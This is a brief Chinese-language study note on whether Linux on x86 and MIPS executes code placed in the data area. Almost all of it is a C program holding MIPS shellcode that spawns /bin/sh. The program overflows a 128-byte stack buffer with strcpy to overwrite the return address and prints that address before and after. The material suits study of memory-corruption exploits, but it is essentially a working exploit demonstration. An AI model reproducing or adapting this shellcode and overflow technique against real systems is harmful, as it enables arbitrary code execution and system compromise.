Linux下X86與MIPS區別之一：代碼放在數據區是否可以被執行



                                                                                                       學習時間：2013/9/10

X86與MIPS區別：

（1）代碼放在數據區是可以被執行的，而MIPS卻不可以；（2）函數調用開闢棧空間大小不一樣。

以下是基於MIPS上的一段把執行代碼放在數據區的程序：

#include

char shellcode[] = {

"\x50\x73\x06\x24"

"\xff\xff\xd0\x04"

"\x50\x73\x0f\x24"

"\xff\xff\x06\x28"

"\xe0\xff\xbd\x27"

"\xd7\xff\x0f\x24"

"\x27\x78\xe0\x01"

"\x21\x20\xef\x03"

"\xe8\xff\xa4\xaf"

"\xec\xff\xa0\xaf"

"\xe8\xff\xa5\x23"

"\xab\x0f\x02\x24"

"\x0c\x01\x01\x01"

"/bin/sh"

};

long addra;

char large_string[144];

int main()

{

foo();

printf("The programe can not modify the address of ra(m)!!!\n");

};

void foo()

{ int i;

char buffer[128];

printf("=================================================================\n");

printf("the buffer address is %x\n",&buffer);

addra = buffer+136;

long *p;

p=addra;

printf("before strcpy() function,the address of ra(m) is 0x%x\n",addra);

printf("before strcpy() function,the value of ra(m) is 0x%x\n",*p);

long *long_ptr = (long *)large_string;

for (i = 0; i < 36; i++)

{

*(long_ptr + i) = (int)buffer;

}

for (i = 0; i <(int)strlen(shellcode); i++)

large_string[i] = shellcode[i];

strcpy(buffer, large_string);

printf("\n\nAfter strcpy() function,the address of ra(m) is 0x%x\n",addra);

printf("After strcpy() function,the value of ra(m) is 0x%x\n",*p);

printf("=================================================================\n");

return ;

}